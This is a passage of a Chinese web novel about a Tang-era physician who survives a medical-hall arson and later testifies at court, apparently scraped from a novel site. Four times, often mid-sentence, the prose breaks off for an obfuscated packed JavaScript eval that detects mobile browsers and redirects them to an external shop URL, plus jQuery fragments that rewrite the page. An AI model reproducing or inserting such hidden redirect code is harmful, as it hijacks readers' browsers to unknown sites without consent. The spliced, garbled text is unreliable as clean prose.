;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581303|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为你说只要哥哥姐姐们保护你就不需要自己做任何事情。” 冯麓没想到李萦这个小公主以前这么刁蛮任性,看来她刚刚说的都是一些反性格的话。正当冯麓开始忐忑不安,生怕李蘩会怀疑她时,李蘩却忽然伸手摸了摸她的脸颊。 “萦儿,你真是长大了。嫂嫂在天上看见会很开心的。” 李蘩微笑着将冯麓拥入怀中,“虽然有一些话我并不认同,但我想你有你坚守的原则和道义,我不该评判什么。所以萦儿,你现在想做什么就做吧。” ---------------- 傍晚,逛累的冯麓和李蘩分别,她拒绝了长期留宿汤府的提议,因为她能感受到汤校尉非常不喜欢她,就跟当初的白理一样。 她回到驿站,正好芮雪也从外面回来。她的身上散发着浓郁的药草味,像是刚从草药堆里打了个滚似的。 “小雪,你今儿一直在医馆?” 芮雪笑着点头,一脸求表扬的表情,“嗯,今儿难得没什么病患,所以我得闲去整理了一下医案格。” 冯麓上前奖赏性地捏了捏她肉嘟嘟的脸蛋,说:“小雪你真是越来越靠谱了。但是今日是花朝节,你拿难得的假期去加班,岂不是太浪费。” “我没什么想买的东西,过节才是浪费呢。”芮雪笑得眼睛都眯成两道月牙,可落在冯麓心里却不是滋味。 芮雪是一个购物欲很低的小妹妹,给了零用钱就攒着,不会上街主动买东西,送给她的也不会挑三拣四。 但冯麓在某一次和她上街时,发现她对长安的竹子手工艺品很感兴趣,眼睛都几乎要黏在小摊上。但即使冯麓问了她好几次想不想买一个,她都摇摇头说不用了。 芮雪她并非什么都不喜欢,只是不愿意把自己的需求摆在面前,因为她不愿意给别人添麻烦和增加负担,因为她习惯了需求被忽略的生活,因为她觉察到了自己没有被偏爱的可能性。 所以冯麓正色说:“不可以。小雪,你必须学会休息,还有,必须学会满足自己的欲望。不会生活的人,是当不好一个医师的。” “那姐姐,我该怎么做?”芮雪迷茫地问。 “你要做的,就是明日和我一同上街,花朝节会持续三日,你要好好地正视自己想要的东西。不要忍耐,不要委曲求全,我的妹妹想做什么就做什么,不需要看人眼色行事。” 芮雪的眼睛一闪一闪的,回应得很坚定:“是,姐姐!” 一道声音从楼下逐渐转移到楼上,“验方使明日还会上街?可否一同出行?” “白堂主,你怎么也在这儿?”冯麓大为惊讶,雍州一共三家驿站,怎么就偏偏又在这里碰到。 白理耸耸肩,在冯麓的注视下推开她们隔壁的那扇门,无奈说道:“那没办法,谁叫我们太有缘了。” 居然到了雍州也能做邻居,这真的不是故意的吗?冯麓嘴角都抽搐了一下。 “对了,验方使你还没有回答我,”白理走进房间后又探出头来追问,“验方使愿意明日与我一同出行吗?” 24.医馆被烧 “验方使愿意明日与我一同出行吗?” “不去。”冯麓直截了当地回答。 “为何?” “整理文书。”冯麓转身也进了屋子,把房门关上了。 进门后,芮雪向冯麓说:“姐姐,若需要整理文书我一个人可以完成,姐姐去和白堂主游园吧。” “不用,我不想跟他去。” 芮雪不解,“姐姐之前不是还说白堂主不是坏人吗?而且我觉着现在的堂主也对姐姐没有偏见了,姐姐为何还厌恶他?” “不是厌恶,只是我不想在这里留下太多感情。” 冯麓扭头看着桌上的铜镜,里面倒映着自己只有用胭脂才可以掩饰苍白的消瘦面容,“我现在希望他们每个人只把我当成单纯的同袍或无足轻重的路人,最好我们都不会对彼此之间关系的存续有任何期待。 毕竟,我因为诅咒和谋杀,成了一个没有明日的人。” “姐姐,那我呢?”芮雪眨了眨眼睛问,“你也没有对我们之间的关系有期待吗?” 冯麓坐在榻上,不带一丝感情地说:“小雪,即使我不死,你也不能一辈子在我身边。你有自己的使命,要去看自己的河山,我只是你的引路人不应该是你的桎梏。 所以我不止希望你脱离我成为一名好医师,更希望你脱离我成为一个独立强大的女子,这是我对你唯一的期待。”她在床榻面对着墙壁躺下,隔绝开了芮雪复杂不解的眼神。 这一次谈话过后,冯麓和芮雪都不再多说一个字,这个夜晚就这样在漫长的沉默中翻过篇章。 冯麓一大早就起身去医馆进行文书整理,距离三期验方开始已经过去了快一个月,是时候进行一次数据监查了。 她发现芮雪起得甚至比她还早,被褥整齐,桌上的茶水也是温热的。 “这孩子跑哪儿去了?”冯麓嘀咕着。 因为花朝节是雍州十分重要的传统节日,所以现在医馆里十分冷清,连医师和煎药师都放了假出去玩了。 冯麓低估了医馆的寒冷程度,高估了自己抗冻能力,来了医馆才知道人体挤在一起排出适量的二氧化碳有多重要。 她把身上的袄子裹得更紧了些,资料室一坐就是一整天。夕阳西下,几阵强劲的大风带领雍州逐渐进入夜晚。 “是我饿昏了吗?怎么感觉闻到了烧烤的味道?”冯麓拍了拍自己的脸,试图让自己清醒一些,还有一点儿就可以看完收工了。 渐渐的,除了花椒和小茴香,还传出了其他草药燃烧的气味。 冯麓疑惑地起身打开门,一股巨大的浓烟涌了进来,而滚滚浓烟中是陷入火海的医馆。 “糟糕!我的资料!”几乎是下意识的反应,冯麓第一时间就转身抱起资料赶紧往外跑,可却迎头撞上了一个高大的躯体。 浓烟里,尚文从楼梯下一步步向上靠近冯麓,将瘦小的她死死挡在身前,令其无法通行。 “让开。”冯麓冷言道。 尚文挑眉阴笑反问:“我的目的就是让你怀里的这些东西消失,验方使你说,我会不会让?” 一股血气冲向冯麓的头顶,她瞪着尚文小人得志的模样急促地呼吸,咬着后槽牙问:“就因为我不让你参与验方,所以你才恨我?” “对。 验方使大人,你知道吗,当我去年得知这世上有可以破除诅咒的药方时有多欣喜若狂,我亲眼见过那些服药后血纹变淡的人,他们将自己的幸运奔走相告,把活下去的希望传递给整个雍州的人。 可是你轻飘飘的一句话,就将我的希望摔得粉碎。只是因为我与陛下不同、与李蘩他们不同,我就不配得到解药。 呵,我不接受这个说法,一直不接受,永远都不接受。所以我要毁了雍州验方,我得不到解药别人也休想得到。 如果一剂药方不是所有人都可以服用,那它也并没有被制作出来的意义,你说呢,验方使?”尚文嘴角仍然带着阴笑,可说出的每一句话都蕴含了十足的悲伤和怒意,他是认真地想要毁了验方。 “现在火势太大,凭我一个人已经无法将所有文书搬出医馆,所以我没闲心跟你讨论验方背后的家国大义和未来规划,你赶紧给我让开,否则你一辈子都别想得到解药了!” 冯麓的威胁一点用处都没有,尚文甚至双手摊开,耸耸肩无所谓地说:“那你就从我的尸体上踏过去吧。” “你会后悔的!”冯麓高喊着。 很快,冯麓愤怒的表情瞬间变成惊恐,因为眼前高大的尚文居然突然闭上眼睛朝她倒来。 文书散落一地,冯麓接着尚文,而尚文的背后正站着另一个人——举着板砖大喘气的芮雪。 “小雪?你怎么在这儿?” 这还是芮雪第一次伤人,她内心不免惊惧万分,可没有多余的时间够她慌张。 “早上就来读医书了。”她把板砖放在地上,立刻帮冯麓拾起乱糟糟的文书,把冯麓推开,“姐姐赶紧走,文书我自己来搬就好!” 冯麓当然是不可能走,她冲进房间里把剩下的文书也抱了出来,“两个人会快一些。” 芮雪先下了楼,正当冯麓也抬脚从尚文身体上跨过去的时候,血迹遍流的地上突然多出来一只手,向上狠狠抓住了冯麓的小腿。 “放开我!”冯麓满头是汗,也不知是被漫天的火焰热出来的,还是被尚文这个拦路鬼急出来的。 “不可能!” 冯麓开始扯着嗓子喊:“来人啊!救命!” 尚文一只手捂着自己的后脑勺,一只手紧紧拽着冯麓,露出恶鬼般的神情:“今日花朝节还没有结束,整个医馆只剩一个医师,那个医师还被我打晕了。所以冯麓,你非死不可!” 火势继续扩大,可文书仍然没有搬完,冯麓已经不再考虑尚文的感受,用尽全身的力气用另一只脚狠狠踩了尚文的脸,趁他吃痛迅速跑下楼。 她在医馆大堂环顾四周,确定值班医师已经被人扶出去才放下心来。正好,此时白理也来了。 白理满眼担忧,问她是否安全,而冯麓已经被呛得说不出话,只是拼命摆摆手。 “你哪儿伤着了?”白理顿时炸毛,用眼神把上下左右把冯麓检查了一遍。 冯麓极其困难地说:“不是我,是医馆还有……还有……” “还有什么?文书?”白理皱着眉头,轻轻擦拭掉冯麓脸颊上附上的灰尘,满眼心疼地说,“别想着文书了,验方重要还是人命重要?” 此时医馆大火已经把整条街的人都吸引来,县令面色苍白跪在冯麓身边,招呼下人用担子把她抬去诊治。 “等下……”冯麓转了个方向,伸手握住芮雪的手腕,边咳嗽边说,“医馆二楼……快去……” 这是芮雪第一次反驳了冯麓的命令,坚定地说:“我不救,今日姐姐被伤害、医馆被烧全是因为他,他死不足惜。” 这场火居然是人为的?芮雪的声音非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591807|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晰有力,白理和县令全都被震惊到愣在原地,其余围观的百姓和杂役也全都开始议论纷纷。 冯麓将眼神转向医馆的方向,医馆已经被人挡得严严实实,但也能看出来火势比之前更大了,她着急地又拽住白理那件米色麻衫。 即使冯麓一字未说,白理也清楚地看到了她眼睛里的请求。他立即点点头,握住那只冰凉的手,说道:“我立刻去救他,你放心吧。” 冯麓满意地闭上了眼睛,任由杂役将她抬去其他医馆。等她再睁开眼,白理已经换了一身衣服坐在她身边,而芮雪正在为她扎针。 “姐姐,你醒了?”芮雪惊喜地凑过来问。 “尚文如何了?没有死吧?”冯麓轻声问白理。 “等我到那儿的时候,他已经被烧得衣衫都黏在身上了,人倒是没死,不过到现在还没醒。”白理回答道。 “他就该死。”芮雪抿着嘴,愤懑不平地说,“姐姐,我实在无法理解,你为何要执意救他!” “因为我们是医者,医者面前只有生死,没有是非。”冯麓淡淡地笑,“别生气了,小雪,我也很厌恶他,但我更希望他可以活着被大唐律法所审判,毕竟那才是他应该承受的代价。” 白理深深地凝视着那个躺在床上,以最平淡无奇的神情和语气说出这句悲悯温柔又正气凛然话语的冯麓。 这个女子一直在颠覆他的认知。她天资聪颖又勤奋努力,虽然在医术上独树一帜,但又不会有任何藏私;虽然嘴上只关心着验方,但又忍不住对有需求的病患施以援手。 他不得不承认,其实喜欢上冯麓是一件很轻而易举的事情。 白理突然有些后悔,他浪费太多时间了,郑安沅那么早就知道了自己的心意,可彼时彼刻他却还在与冯麓针锋相对。 排在他前面有多少人了?现在开始竞争还有希望吗?白理叹息着心想。 “喂,想什么呢?”冯麓的笑容打断了白理的思绪。 “没想什么。”白理摸摸鼻子说。 冯麓的声音像一段丝绸,凉凉的,又柔柔的,“还得多谢白堂主,帮我救了尚文。” 白理心里虽然已经乐开了花,但嘴上仍然还是淡淡地回答道:“不必谢我,毕竟我也是医者。” 芮雪问:“不过话说回来,那个尚文到底是什么来头?” “雍州牧尚楷之。” 凌之韫的声音从房门那边传来,不知何时,他就已经静静地站在那里旁听他们的对话了,而且没有任何一个人发现他。 芮雪除了县令和县丞之外根本不知道其他官职,于是问:“雍州牧是很大的官吗?” “从三品。”凌之韫面无表情地回答。 “凌大人为何会在此?别告诉我是专程来探望我的吧?”冯麓问。 “接到暗卫密信,得知医馆被烧,所以我来看看情况。冯大人可安好?” 看来李麒并没有食言,果然派了人暗中保护她。冯麓堆起礼貌的微笑,回答:“我已无大碍,多谢凌大人关心。凌大人可以返京了,代民女向陛下问好。” “兹事体大,所以我此次前来,还得奉命把尚文与尚楷之押解回京进行审讯。” 尚文的罪居然还牵连到了他父亲?冯麓收起笑容,正色问:“那……他们会怎样?” 凌之韫的睫毛一眨,下三白的眸子里充满了杀气沉淀下来的冷意。 “这事儿没有那么简单,冯大人还是不要过问的好。” 25.朝堂判决 一场意外火灾把整个医馆烧成了废墟,包括那些存放验方文书的柜子,只差一点,雍州两期验方的所有数据就化为乌有。 冯麓一直在回想刚刚凌之韫的那句话。他的言外之意是什么?这场谋杀里面还有什么秘密?还是说,这场谋杀还有幕后操纵者? 冯麓心里涌起强烈的不祥预感。“小雪,我们的文书还安全吗?” “嗯,我把它们抱回我们驿站的匣子里了,还上了锁。” “立即去找雍州最好的铁匠打造一个柜子,满足防震、防火、防水、防盗全部需求,缺一不可。” 然后她硬撑着起身修书给其他几个驻地的选人,让他们务必立即寻找铁匠也打造这样的铁柜,文书、新药以及旧药瓶必须放在铁柜里。 白理觉察到冯麓的异样,问道:“你是觉得,这件事不是偶然?” “我不确定他们究竟是冲我来的,还是冲验方来的,抑或是另一个可能性——” 冯麓和白理异口同声地说:“冲陛下来的。” 冯麓面色凝重,“他们或许试图用一个冠冕堂皇的理由把我和验方一起毁灭,但很可惜没有得手,但我想,他们是不会放弃的。” 她扭头看向白理,沉声说:“白理,我们已经到了距离破除诅咒最近的时候了,我必须守护好这个验方,不能让那么多人的心血付诸东流。” 白理郑重地点点头,回答:“你放心,我会帮你守好蒲城的。” 次日,芮雪气喘吁吁地跑进屋子来,向冯麓汇报新情况:“姐姐,听掌柜的说尚文那家伙天一亮就被凌大人带走了!” 冯麓十分惊讶于凌之韫对此事的处理速度,“这么快?都不等他伤好了再押回吗?” “他爹尚大人也跟着一起呢,看来凌大人说的是真的。”芮雪上气不接下气地说。 “我何时说过假话?” 凌之韫又一声不响地飘到了他们房间门口,冷不防地开口吓她们一跳。 “凌大人,我知道您轻功全唐首屈一指,但麻烦您下回请先敲门。”冯麓阴阳怪气地假笑道。 “冯大人,请立即收拾行囊跟我走一趟吧。” “我为何也要去?昨日你可没说啊。” 凌之韫眨了眨眼睛,一脸正气地表示:“我忘了。” 冯麓无语地在心里翻了个白眼,“……好吧。我需要去几日?” “或许五日,陛下只是想知道此事原委,以便裁决。” 冯麓不解地问:“陈情的话,一日就够了吧?我又不是罪人。” “因为……娘娘说她想你了。”凌之韫每每说到这个小妹都禁不住流露出不常见到的温情,语气里有几分无计可施,也包含着几分宠溺怜惜。 冯麓果断接受了这个理由,把常用医用工具塞在腰带上的小皮袋里,就跟着凌之韫出发了。 芮雪也想跟着一起走,但冯麓回头阻止了她的步伐,“小雪你留下。” “为何?”“雍州才突发变故,不能没有人盯着。” 芮雪非常为难,楚楚可怜地拽着冯麓的衣袖争取道:“可是姐姐,我还从来没有离开过你身边,我怕我不行……” “小雪,你还记得我之前跟你说的话吗?我希望你成为一个好医师,而一个好医师的开端就是独立,现在正是你尝试独立的好机会。”冯麓用另一只手摸了摸芮雪的发顶,“而且也只是五日而已,五日后我就回来了,不会让你撑太久的。” “可是……” “别‘可是’了,我相信你,你也要相信你自己,我走了!别追上来!”冯麓抽出自己的衣袖,脚步轻快地下了楼梯,裙摆摇晃着跟黑甲男子走出驿站。 “我真的可以吗?”芮雪低声自言自语道。 既然姐姐说我可以,我就可以。她缓缓握住拳头,心里重复默念着。 “能看出来,你对你徒弟是真心的。”凌之韫走出房间后轻飘飘地说。 “她不是我徒弟,是我妹妹。”冯麓撇嘴回答。 “你们有血缘关系?”“没有啊。” 凌之韫挑眉问道:“你居然愿意为一个毫无血缘关系的人倾尽所有心力,真是不可思议。你要知道,你们之间的关系不是坚不可摧的,她随时有可能背叛你。” 冯麓冷笑一声,反驳道:“凌大人,亲人是上天为我选择的,而朋友是我自己选择的,只有被我选择的人才值得我付出感情和精力。况且亲缘关系也并非坚不可摧啊,不然那李氏诅咒是怎么来的?” 凌之韫没有正面回答那个问题,语气瞬间变冷:“冯大人,我不会让陛下知道你说的这些话。” “虽然我认为我说的都是实话,但还是多谢凌大人了。” 于是他们之间的气氛就一直以零下三十度的状态保持到了长安大明宫。 凌之韫板着脸把冯麓送到蓬莱殿,凌嬗早早就在殿外等候了,一看见她就雀跃得抱着她手舞足蹈。 “娘娘,您要的人帮您带来了,下官先行一步。” 凌嬗赶紧对着凌之韫的背影开口说:“兄长,留下用晚膳吧。” 冯麓发现,凌之韫的背影肉眼可见地顿了顿,看来他应该是真的考虑过答应下这个请求。 但他最后还是头也不回地说:“不用,多谢娘娘。” “娘娘,您入宫前也是如此与凌大人相处吗?”冯麓好奇地问。 “差不离,但比目前更亲近些。兄长就是这样,一脸凶神恶煞的模样,但是对亲人是顶顶好的。” “那您与陛下相比呢?” 凌嬗左右看了看,确认此处除了她俩没有别人以后才开口:“自然是我更重要了!麓麓你还记得你想偷偷跑出宫的那日吗?他眼睛都不眨就答应了我的请求,亲自护送你回家。 他还告诉我说千万不要在陛下面前说漏嘴,问起就说你在城外处理公务时被山贼掳走了,之后若是陛下想追回,他也可以从中做点手脚让你彻底‘消失’。” 冯麓回想起那天的场景,凌之韫的确一个侍卫都没带,也并不遮掩,只当他们当时是在处理公务,看来他早有打算。 她又问:“这可是欺君之罪,若东窗事发,凌大人岂不死罪难逃?” “兄长他说,只要我想做的事情,他都可以帮我做到,即使是东窗事发,他也会替我扛下来的。” 凌嬗双手托着脸颊,抿着嘴望向窗外,那条路是凌之韫刚刚离开的方向,“麓麓,我兄长是不是特别特别好?” “嗯,娘娘您真幸运。”冯麓略带羡慕之色地回答道。 冯麓来到大唐也快一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602831|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年半了,一路走来全靠的是先生、朋友和自己,还没有体会过亲人互相照顾是什么滋味。 冯麓不免有些好奇,李麒要是知道自己是他的妹妹会怎样? 次日,冯麓和重度烧伤还没痊愈的尚文一起去了紫宸殿,他的父亲尚楷之也站在旁边接受审判,而他们三人身后是黑压压一片大臣。 冯麓把自己经历的事情一五一十讲了出来,凌之韫不仅呈上了尚文丢弃在医馆内的打火石,还把那日医馆的值班医师一起带来了。人证物证俱在,尚文谋杀的罪名已然板上钉钉。 制使代表了皇帝的威严,谋杀制使即为对皇权的挑战与蔑视。所以尚文被判斩立决,尚楷之也因为治家不严被罢免官职抄家,甚至连早逝多年的尚夫人她的“郡夫人”封号也被收回。 尚文在地上挣扎着,顾不上自己的形象,拼命向自己的父亲求救,可对方自顾不暇,不敢再承受尚文那快要滴血的眼神。 此时中书令苏炀在人前缓缓开口道:“陛下,微臣有一言。” 尚文还以为自己得救,用尽全力扭头向后看去。 苏炀面色肃穆,弯着腰垂眸说:“陛下,尚夫人出身河东裴氏,祖上是大唐开国功勋、战功赫赫,尚大人为政几十年来亦颇得民心、政绩斐然。如今只是因为小儿一时冲动便将尚家重罚至此,恐难以服众。” “那依苏卿所言,朕该当如何?”李麒反问。 “微臣认为,尚大人贬出京畿即可,给他一个反省的机会,也给民众一个交代。”苏炀继续镇定自若地说道。 此话一出,朝堂上好像约好了似的,由中书侍郎谢磐牵头,一个二个全都开始出言求情,恳请李麒三思。 冯麓算是看出来了,这个尚楷之是苏炀他们的人,他们毫不关心性命攸关的尚文,只在意尚楷之的仕途还有无翻身的机会。或许,那日在宫外被她偷听到的密话里,就有他的一句。 冯麓突然觉得尚文有些可怜,他自己没有成功随机入组就算了,父亲也根本只当他是个已毫无价值的必死之人。 突然,李麒开口问:“验方使,你有何见解?” 冯麓的思绪被李麒这句话拉回来,她跪在地上说:“尚公子曾对民女说他被诅咒折磨许久,也苦苦等待解药许久,而世间之痛莫过于给彼希望却还彼失望。 所以,即使尚公子难逃一死,民女也恳请陛下可以让尚公子活着听到‘李氏诅咒’被破除的消息。大唐迎来曙光的那一刻,他身为中咒之人也有资格参与其中。” 朝堂一片宁静,没有人反驳冯麓的话。 “李氏诅咒”是一个沉重的话题,是大唐最难以启齿的耻辱,也是最无法忘却的伤痛。 重臣之间与李氏通婚者甚多,许多大臣的家人历经一生都没能等到解药问世,甚至大多数人连可以破除诅咒的希望都不曾拥有过。冯麓这句话,可谓是正中众人最脆弱的内心。 李麒沉默了许久,冯麓也跪在地上许久,正当她以为李麒要驳回自己的请求之时,他才终于开口说道:“针对谋杀制使一事朕已有定论。 谋杀制使不可饶恕,阻挠验方更是罪加一等。故尚文即日起流放西域,待解药制成后见杀;其父尚楷之扣除三年俸禄,迁至漳州司马,无诏不得回京。 退朝。” 26.吴国夫人 翌日,晨光熹微之时,尚文已经踏上了流放的道路。 他一步步靠近长安城门,又一次次回头,可他的期盼全都变成了宁静的空荡荡。 “呵,我在期待些什么?”尚文低着头看着自己已经破了洞的鞋履,自嘲地笑道。 他早该明白的,他的父亲为了避害,连朝堂上都不肯为他求情一句,现在又怎会送他上路。 “尚公子,该出城了。”押送尚文的短解把尚文交给下一段路的短解后说。 此时,不远处传来了尚文的名字。 他都不需要回头,就已经知晓来者何人。他也没想到,最后来的人竟是最不可能也最不应该来的人。 尚文回过身,耷拉着眼皮,阴沉地看着冯麓,“验方使大人,你是来看我笑话的吗?若是来看笑话的,那你应该满意了吧。” 冯麓不回应他那带着刺的苦涩自嘲,从手里递给他一个行囊,“你的伤受不了日头曝晒,所以你尽量多走阴凉处。还有,行囊里面装了我自制的药膏,身上疼时或者被蚊虫叮咬时涂一涂会好受些。” 尚文紧咬着后槽牙,喉结上下动了动,没接过那个行囊,横眉冷问:“验方使大人为何不恨我?我可是要杀你的人。” “我死不了的,恨你也只是浪费生命。”冯麓微微仰视,用一双犀利的眼神直视着对方,好像要透过他看到世界的彼岸。 尚文感觉到什么,环视四周后压低声音问:“此话何意?” 冯麓似笑非笑地说:“尚公子,我猜,你一定是被人教唆了什么才想到火烧医馆这招,毕竟既可以杀了我、又可以毁掉验方,最后还可以把罪责甩到我头上这样一石三鸟的好计策不像你这个脑袋可以想出来的。” “你!” “好好照顾自己别死太快了,你还要亲眼看着我的解药大功告成呢。不过解药这点你可以死心,我是不会让你用上的。”冯麓把行囊直接往尚文怀里塞,头也不回地转身离去,“毕竟这是对你的惩罚。” 尚文低头看着手里鼓鼓的行囊,心里五味杂陈。要不是他父亲在前一天的节日酒局上怂恿他干掉冯麓,他也不会出此下策。 他也曾与父亲提起过,作为雍州牧出手解决一个验方使应该神不知鬼不觉,可那位在官场上游刃有余的父亲居然说他要的就是验方使死得轰轰烈烈。 尚文犹豫了,他想报复,但不是以对方死亡的方式。可尚楷之却搂过他的肩膀忆往昔:“儿啊,你还记得你娘怎么死的吗?那惨状我一回想起来就泪流不止,爹实在不想你也像你娘那样离开我,你要是也没了,爹要怎么活啊。” “可是……这样解药就做不成了。” “你放心好了,大唐盛世人才辈出,一个‘冯麓’死了,还会有别的‘冯麓’顶替这个位置,到那时,爹一定让你第一个用上解药!” 尚文就这样被尚楷之用九分谎言一分真心哄骗着,参与到了这场看似暗杀冯麓解救儿子实则只为打碎李麒解咒梦的阴谋中。 朝阳已经逐渐升至树梢上,尚文仰头看着湛蓝得没有一丝点缀的天空,深深吸了一口气。 他恨自己看明白得太迟了,其实自己不过是一枚棋子,他反正都会在二十五岁之前死去,所以他的感受根本就不重要。 “尚公子,该上路了,别误了时辰。”短解再一次催了尚文。 这一回是真要走了,是不是该跟这个只待过一天的长安做个告别? 尚文再次回头,仔仔细细看了看长安的城门和宽阔的大路。 这是他第一次来这个象征着大唐辉煌的都城。却没想到金碧辉煌之上是亲近之人的假意,漫天黄沙之中是敌对之人的真心。 金属碰撞声富有节奏地逐渐远去,尚文也正式踏上这场已知结局的长路。 另一边,冯麓正迎着朝阳回宫。她面色凛然地一步步走在青石板上,一颗心越变越冷。 就在李麒宣布判决的那个瞬间,冯麓把所有的一切都想通了。 陪伴皇后的请求,凌之韫的欺君之计,尚家的谋杀,隐藏的暗卫,她看到的听到的,全是李麒想让她知道的。 李麒一次又一次留着她的性命只是为了暗中牵制住文官集团,甚至不惜费尽心思专门上演一出夫妻情深,以及连使者偷跑出宫都察觉不出的愚钝至极。 冯麓细思起李麒让冯麓直抒己见的动作。短短一句“验方使你有何见解”以及由斩刑到流放的变更,不仅抬高了验方使的地位,也对其他臣子进行了敲打,更重要的是,这是加强皇权树立威信的关键之举。 一阵清风袭来,带着梅花淡淡的香气,可入春的微风却让冯麓汗毛直立。 她开始犹豫要不要将自己的真实身份告诉李麒,如果如实相告,怕是再无情无义的利用他都能找出冠冕堂皇又天经地义的理由。 就让这个秘密永远埋藏在长安的黄土中吧,冯麓暗自决定着。 应该是受了寒,冯麓一回到蓬莱殿就不停地流鼻涕,凌嬗二话不说立即找来太医来抓药,还吩咐小厨房炖了参鸡汤。 “娘娘,我只是风寒而已。” 凌嬗叉着腰严肃地说:“风寒也是病!今日,汤和药你必须全部喝完,一滴都不许剩!” 冯麓无奈地应下:“……是。” 头疾开始发作,冯麓下午甚至流了鼻血,这是她来到大唐第一次无端流血,看来是血纹症已经加重了。 凌嬗着急地跑来询问情况,冯麓用自己的帕子塞住鼻子,摆摆手笑着说:“无碍,想是汤太补了的缘故。” “怎么会?以前又不是没有喝过参鸡汤。是不是还有别的病症?我再叫太医来看看。” 冯麓生怕自己的血纹症被查出来,赶紧伸手拦住凌嬗:“娘娘,不用麻烦太医了。我就是医师,最清楚自己的身子,我说没有大碍就肯定是没有大碍。” 面对坚定的冯麓,凌嬗只好妥协,“好吧,听你的。” 侍女从殿外走进来,禀报道:“娘娘,齐衰三年[1]后的吴国夫人今日回宫了。” 凌嬗一下子愣住,尔后惊喜地追问:“真的吗?夫人回来了?那她现在人在哪儿?” “正在紫宸殿面圣,应该过会儿就来蓬莱殿了。” 凌嬗欣喜若狂,好似遇到了什么好事儿,冯麓好奇地问:“娘娘,看您如此高兴,这位吴国夫人应该是您的好友或家人了?” “可以说都不是,也可以说都是。”凌嬗卖了个关子,坐到冯麓身边问,“你猜,她是什么人?” 冯麓抿着嘴摇头,“猜不出来。” “哈哈猜不到吧,是陛下的乳母!她在宫里是颇具威严的女子,资历甚高,先皇后走得早,所以她是目前整个后宫唯一接触过先皇后的人。” 冯麓看着凌嬗谈起这个对她很好的夫人,心里又忽然有了一些不详的预感,而这些不祥预感的源头就在于那句“唯一接触过先皇后的人”。 “对了,麓麓你知道陛下还有一个早夭的妹妹吗?这位吴国夫人不仅是陛下的乳母,还是安昀公主的乳母呢。” 冯麓心里警铃大作,瞳孔都不自觉颤动起来。她脸色煞白,语气却还要伪装成毫无波澜的样子,说:“娘娘,我怕过了病气给您,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613101|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能陪您住在蓬莱殿了。” “娘娘注意保暖,最好是这三日都别来找我。” 冯麓说完就急忙起身行礼,三步并两步地准备走出蓬莱殿,没想到却正正撞上一个身着粗麻布的妇人。 妇人被这一下撞得趔趄了几步,侍女被惊吓得叫出声来,赶紧扶住她怒喊:“什么人敢冲撞吴国夫人?” “是民女无礼,请夫人责罚。”冯麓赶紧把塞在鼻孔里的手帕扯出来拿在手里,行礼赔罪。 空气的温度降至冰点,吴国夫人拍了拍自己的衣服,半晌都不发一言。 正当冯麓已经视死如归时,吴国夫人伸手把冯麓扶起来,和善地说:“还好我还没有那么老,若我再老一点怕是此时已经飞出殿外了。” 冯麓心里吐出长长一口气,还好这个夫人不是难缠的角色,不然今日怕是要过不了她这关了。 “你是哪家的姑娘?怎的我以前没有见过你?” “民女是陛下刚封不久的验方使。” 吴国夫人疑惑道:“‘验方使’?是做什么的?” “就是专门给陛下解除‘李氏诅咒’的!”凌嬗此时从殿内快步走出来,转头问侍女:“夫人来了怎的不通报?” 吴国夫人惊讶无比地伸手抓着冯麓的双手,不可置信地问:“这位姑娘,你真可以替陛下解除诅咒?” 冯麓被她这么一拽,手里的帕子无法控制地掉落在地,她瞥了一眼后迅速抬眼微笑回答:“还在尝试中,用不了多长时间就可以得到解药了。” “太好了!太好了!先皇后若是知晓此事也定会欣喜不已!”吴国夫人用温暖的掌心摩挲着冯麓冰冷的手,“验方使,你真是大唐的恩人,是李氏的恩人啊!” “解药还在尝验阶段,民女实在担不起这么大的功名,夫人是折煞民女了。”这样下去夫人怕不是要拉着她唠上几天几夜,冯麓开始焦急起来,脑子里拼命地思考逃离此地的由头。 一阵风又吹来,冯麓被冷得浑身战栗,忍不住又打了个喷嚏。不打不要紧,这一打把刚止住的鼻血又给打出来了。 